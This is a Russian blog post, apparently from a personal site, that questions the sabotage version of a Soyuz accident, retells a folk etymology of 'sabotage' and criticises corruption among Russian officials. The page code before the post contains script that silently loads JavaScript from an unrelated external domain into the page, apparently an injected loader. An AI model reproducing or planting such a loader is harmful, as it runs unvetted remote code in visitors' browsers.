, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })
RSS
 

Почему саботаж?

15 Окт

Комиссия по расследованию аварии «Союза» рассматривает https://www.gazeta.ru/science/news/2018/10/15/n_12171547.shtml?utm_source=yxnews&utm_medium=desktop    версию саботажа.

Мне представляется, что такая оценка даёт основания сомневаться в компетентности «комиссии».

Прежде всего, это слово произошло от французского языка «sabotage» и переводится, как «стучание ботинком».

История свидетельствует, что при зарождающемся в Европе капитализме, рабочие  нещадно эксплуатировались, нередко погибая на рабочих местах. От государства они  не получали никакой защиты.

Поэтому, рабочие одного ткацкого предприятия, отчаявшись «достучаться» до начальства, решились на крайние меры. Они стали засовывать свои ботинки в шестерни машин. Стоит отметить, что башмаки у граждан в ту пору были сделаны из дерева, поэтому механизмы заклинивало «наглухо». Приходилось останавливать производство и  выгребать щепки от  сломанной обуви. После такого «произвола» со стороны рабочих, хозяин шёл на уступки, ведь он терял гораздо больше денег по причине простоя станков.

Столетиями доказано, что жадность, отличительная черта капиталиста, но когда хозяева фабрик и заводов начинают откровенно «садиться» на шею трудовому народу,  и у рабочих имеется «ответка», на подобный жёсткий прессинг со стороны работодателя — это Саботаж.

В СССР, где осуществлявшие  государственную власть, вознамерились построить коммунизм, саботаж стал одним из «контрреволюционных» преступлений.  Статья за саботаж в разных формах существовала в Уголовном кодексе РСФСР с 1926 по 1958 год.

Однако сейчас в УК РФ нет уголовной ответственности за саботаж. Действия, направленные на повреждение предприятий, сооружений, объектов транспортной инфраструктуры и транспортных средств…, в целях подрыва экономической безопасности и обороноспособности России, квалифицируются, как диверсия (ст. 281 УК РФ).

Зачем сейчас в России «стучать ботинком»?

Причин множество и одна из них — безысходность.

Министр занятости, труда и миграции Саратовской области Наталья Соколова, заявившая, что можно прожить на региональный прожиточный минимум, получала 191 тысячу рублей в месяц в 2017 году. За год она заработала 2,3 миллиона рублей.

При этом  госпожа Соколова получала  https://www.kommersant.ru/doc/3770941 выплаты в 2013, 2014, 2016 и 2017 годах в виде ежегодной материальной помощи в размере 100 тыс. руб.

Меня поразило то, что принимавшие участие в строительстве космодрома «Восточный»  студенты, получили за заботу всего по 25−30  тыс. руб.

Совсем недавно сообщалось https://pikabu.ru/story/roskosmos_nashel_pustotyi_pod_startovyim_kompleksom_kosmodroma_vostochnyiy_6145727  о том, что «Роскосмос» нашел пустоты под стартовым комплексом космодрома Восточный. Халатность или саботаж?

Я вспоминаю свою изнурительную  работу в стройотрядах при строительстве газопровода на Украину.  Нам заплатили по 700−800  руб., при средней зарплате по стране в 150 руб.

Народ видит, как в каждом регионе жируют чиновники, явно не нате высокие зарплаты, что  они получают, но россияне не видят седьмой год широкого применения к таким чиновникам  п.п. 8 п. 2 ст. 235 ГК РФ, позволяющего лишать чиновника всего того, что он неправомерно нажил, независимо каким криминальным  способом.

Только сейчас обнаружилось, что в квартире полковника  Захарченко сыщики нашли https://www.novayagazeta.ru/articles/2018/10/04/78072-milliardy-cherpali-polkovnikom    только часть теневого олимпийского бюджета.

По версии СКР, на протяжении почти 10 лет передавали полковнику в качестве взяток за общее покровительство около 2 млрд рублей.

А если бы п.п. 8 п. 2 ст.235 ГК РФ работал, вряд ли так долго это «покровительство» существовало. Ведь деньги не только складировались в квартире, но на них покупалась недвижимость и велась жизнь, которая должна была вызвать подозрения у начальства.

Иногда россиянам удаётся «достучаться» https://ria.ru/incidents/20181015/1530708370.html?utm_source=yxnews&utm_medium=desktop  до Путина  о «борзоте» некоторых совладельцев завода и он принимает меры.

Но почему при таких обстоятельствах люди не получают защиты от правоохранительных органов и судов?

Может кто-то  в Администрации Президента саботирует широкое применение к обогатившимся на должности чиновникам п.п. 8 п. 2 статьи 235 ГК РФ?

Как оказалось и среди помощников Путина есть желающие незаконно обогащаться.

Следственный комитет России (СКР) расследует https://www.kommersant.ru/doc/3771134      беспрецедентное уголовное дело о мошенничестве, в котором обвиняется действующий полковник ФСБ Михаил Горбатов, еще полгода назад руководивший контрольно-инспекционным департаментом управления президента РФ по обеспечению конституционных прав граждан. На работе офицер следил за исполнением президентских указов, касающихся помилования и предоставления политического убежища, а в свободное время, как полагает следствие, помогал своим подельникам «кошмарить» коммерсантов.

Если  правами «по обеспечению конституционных прав граждан», наделяются такие чиновники, то нечего ожидать, что в России Человек, его права и свободы  станут высшей ценностью.

 
Комментариев нет

Автор: ossin Категория: Прочие заметки

 

Оставить комментарий

Вы должны войти, чтобы оставить комментарий.